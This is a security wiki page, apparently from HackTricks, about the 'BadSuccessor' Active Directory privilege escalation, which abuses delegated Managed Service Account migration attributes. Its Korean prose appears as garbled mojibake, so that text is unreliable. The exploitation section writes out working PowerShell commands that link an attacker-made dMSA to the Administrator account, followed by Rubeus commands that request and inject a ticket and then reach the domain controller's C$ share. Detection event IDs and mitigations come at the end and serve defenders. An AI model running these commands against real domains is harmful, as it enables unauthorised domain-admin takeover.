BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

Delegated Managed Service Accounts (dMSA)๋Š” Windows Server 2025์— ํƒ‘์žฌ๋œ gMSA์˜ ์ฐจ์„ธ๋Œ€ ํ›„๊ณ„์ž์ž…๋‹ˆ๋‹ค. ํ•ฉ๋ฒ•์ ์ธ ๋งˆ์ด๊ทธ๋ ˆ์ด์…˜ ์›Œํฌํ”Œ๋กœ์šฐ๋Š” ๊ด€๋ฆฌ์ž๊ฐ€ ์˜ค๋ž˜๋œ ๊ณ„์ •(์‚ฌ์šฉ์ž, ์ปดํ“จํ„ฐ ๋˜๋Š” ์„œ๋น„์Šค ๊ณ„์ •)์„ dMSA๋กœ ๊ต์ฒดํ•˜๋ฉด์„œ ๊ถŒํ•œ์„ ํˆฌ๋ช…ํ•˜๊ฒŒ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด ์›Œํฌํ”Œ๋กœ์šฐ๋Š” Start-ADServiceAccountMigration ๋ฐ Complete-ADServiceAccountMigration๊ณผ ๊ฐ™์€ PowerShell cmdlet์„ ํ†ตํ•ด ๋…ธ์ถœ๋˜๋ฉฐ, dMSA ๊ฐ์ฒด์˜ ๋‘ ๊ฐ€์ง€ LDAP ์†์„ฑ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค:

  • msDS-ManagedAccountPrecededByLink โ€“ DN ๋งํฌ๋กœ์„œ ๋Œ€์ฒด๋œ(์˜ค๋ž˜๋œ) ๊ณ„์ •.
  • msDS-DelegatedMSAState โ€“ ๋งˆ์ด๊ทธ๋ ˆ์ด์…˜ ์ƒํƒœ (0 = ์—†์Œ, 1 = ์ง„ํ–‰ ์ค‘, 2 = ์™„๋ฃŒ๋จ).

๊ณต๊ฒฉ์ž๊ฐ€ OU ๋‚ด์—์„œ ์–ด๋–ค dMSA๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด ๋‘ ์†์„ฑ์„ ์ง์ ‘ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, LSASS ๋ฐ KDC๋Š” dMSA๋ฅผ ์—ฐ๊ฒฐ๋œ ๊ณ„์ •์˜ ํ›„๊ณ„์ž๋กœ ๊ฐ„์ฃผํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„ ๊ณต๊ฒฉ์ž๊ฐ€ dMSA๋กœ ์ธ์ฆํ•˜๋ฉด ์—ฐ๊ฒฐ๋œ ๊ณ„์ •์˜ ๋ชจ๋“  ๊ถŒํ•œ์„ ์ƒ์†๋ฐ›์Šต๋‹ˆ๋‹ค โ€“ ๊ด€๋ฆฌ ๊ณ„์ •์ด ์—ฐ๊ฒฐ๋œ ๊ฒฝ์šฐ ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž๊นŒ์ง€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ธฐ์ˆ ์€ 2025๋…„ Unit 42์— ์˜ํ•ด BadSuccessor๋ผ๋Š” ์ด๋ฆ„์ด ๋ถ™์—ฌ์กŒ์Šต๋‹ˆ๋‹ค. ์ž‘์„ฑ ์‹œ์ ์— ๋ณด์•ˆ ํŒจ์น˜๋Š” ์ œ๊ณต๋˜์ง€ ์•Š์œผ๋ฉฐ, OU ๊ถŒํ•œ์˜ ๊ฐ•ํ™”๋งŒ์ด ๋ฌธ์ œ๋ฅผ ์™„ํ™”ํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ์ „์ œ ์กฐ๊ฑด

  1. ์กฐ์ง ๋‹จ์œ„(OU) ๋‚ด์—์„œ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ณ„์ • ๋ฐ ๋‹ค์Œ ์ค‘ ํ•˜๋‚˜ ์ด์ƒ์„ ๋ณด์œ ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:
  • Create Child โ†’ msDS-DelegatedManagedServiceAccount ๊ฐ์ฒด ํด๋ž˜์Šค
  • Create Child โ†’ All Objects (์ผ๋ฐ˜ ์ƒ์„ฑ)
  1. LDAP ๋ฐ Kerberos์— ๋Œ€ํ•œ ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ(ํ‘œ์ค€ ๋„๋ฉ”์ธ ๊ฐ€์ž… ์‹œ๋‚˜๋ฆฌ์˜ค / ์›๊ฒฉ ๊ณต๊ฒฉ).

์ทจ์•ฝํ•œ OU ์—ด๊ฑฐํ•˜๊ธฐ

Unit 42๋Š” ๊ฐ OU์˜ ๋ณด์•ˆ ์„ค๋ช…์ž๋ฅผ ํŒŒ์‹ฑํ•˜๊ณ  ํ•„์š”ํ•œ ACE๋ฅผ ๊ฐ•์กฐ ํ‘œ์‹œํ•˜๋Š” PowerShell ๋„์šฐ๋ฏธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ณต๊ฐœํ–ˆ์Šต๋‹ˆ๋‹ค:

Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local

์Šคํฌ๋ฆฝํŠธ๋Š” (objectClass=organizationalUnit)์— ๋Œ€ํ•œ ํŽ˜์ด์ง€๋œ LDAP ๊ฒ€์ƒ‰์„ ์‹คํ–‰ํ•˜๊ณ  ๋ชจ๋“  nTSecurityDescriptor๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

  • ADS_RIGHT_DS_CREATE_CHILD (0x0001)
  • Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8 (๊ฐ์ฒด ํด๋ž˜์Šค msDS-DelegatedManagedServiceAccount)

Exploitation Steps

์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ OU๊ฐ€ ์‹๋ณ„๋˜๋ฉด ๊ณต๊ฒฉ์€ ๋‹จ 3๊ฐœ์˜ LDAP ์“ฐ๊ธฐ๋งŒ ๋‚จ์Šต๋‹ˆ๋‹ค:

# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"

# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}

# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}

๋ณต์ œ ํ›„ ๊ณต๊ฒฉ์ž๋Š” ๋‹จ์ˆœํžˆ logonํ•˜์—ฌ attacker_dMSA$๋กœ ๋กœ๊ทธ์ธํ•˜๊ฑฐ๋‚˜ Kerberos TGT๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Windows๋Š” superseded ๊ณ„์ •์˜ ํ† ํฐ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

Automation

์—ฌ๋Ÿฌ ๊ณต๊ฐœ PoC๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์ƒ‰ ๋ฐ ํ‹ฐ์ผ“ ๊ด€๋ฆฌ๋ฅผ ํฌํ•จํ•œ ์ „์ฒด ์›Œํฌํ”Œ๋กœ๋ฅผ ๋ž˜ํ•‘ํ•ฉ๋‹ˆ๋‹ค:

Post-Exploitation

# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>

# Access Domain Admin resources
dir \\DC01\C$

ํƒ์ง€ ๋ฐ ์‚ฌ๋ƒฅ

OU์—์„œ ๊ฐ์ฒด ๊ฐ์‚ฌ๋ฅผ ํ™œ์„ฑํ™”ํ•˜๊ณ  ๋‹ค์Œ Windows ๋ณด์•ˆ ์ด๋ฒคํŠธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค:

  • 5137 โ€“ dMSA ๊ฐ์ฒด ์ƒ์„ฑ
  • 5136 โ€“ msDS-ManagedAccountPrecededByLink ์ˆ˜์ •
  • 4662 โ€“ ํŠน์ • ์†์„ฑ ๋ณ€๊ฒฝ
  • GUID 2f5c138a-bd38-4016-88b4-0ec87cbb4919 โ†’ msDS-DelegatedMSAState
  • GUID a0945b2b-57a2-43bd-b327-4d112a4e8bd1 โ†’ msDS-ManagedAccountPrecededByLink
  • 2946 โ€“ dMSA์— ๋Œ€ํ•œ TGT ๋ฐœ๊ธ‰

4662 (์†์„ฑ ์ˆ˜์ •), 4741 (์ปดํ“จํ„ฐ/์„œ๋น„์Šค ๊ณ„์ • ์ƒ์„ฑ) ๋ฐ 4624 (ํ›„์† ๋กœ๊ทธ์˜จ)๋ฅผ ์ƒ๊ด€๊ด€๊ณ„ ๋ถ„์„ํ•˜๋ฉด BadSuccessor ํ™œ๋™์ด ๋น ๋ฅด๊ฒŒ ๋“œ๋Ÿฌ๋‚ฉ๋‹ˆ๋‹ค. XSIAM๊ณผ ๊ฐ™์€ XDR ์†”๋ฃจ์…˜์€ ์ฆ‰์‹œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ฟผ๋ฆฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค (์ฐธ์กฐ๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค).

์™„ํ™”

  • ์ตœ์†Œ ๊ถŒํ•œ ์›์น™์„ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค โ€“ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์—ญํ• ์—๋งŒ ์„œ๋น„์Šค ๊ณ„์ • ๊ด€๋ฆฌ๋ฅผ ์œ„์ž„ํ•ฉ๋‹ˆ๋‹ค.
  • ๋ช…์‹œ์ ์œผ๋กœ ํ•„์š”ํ•˜์ง€ ์•Š์€ OU์—์„œ Create Child / msDS-DelegatedManagedServiceAccount๋ฅผ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.
  • ์œ„์— ๋‚˜์—ด๋œ ์ด๋ฒคํŠธ ID๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  dMSA๋ฅผ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ํŽธ์ง‘ํ•˜๋Š” ๋น„-ํ‹ฐ์–ด 0 ์‹ ์›์— ๋Œ€ํ•ด ๊ฒฝ๊ณ ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ์กฐ

Golden Dmsa Gmsa

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ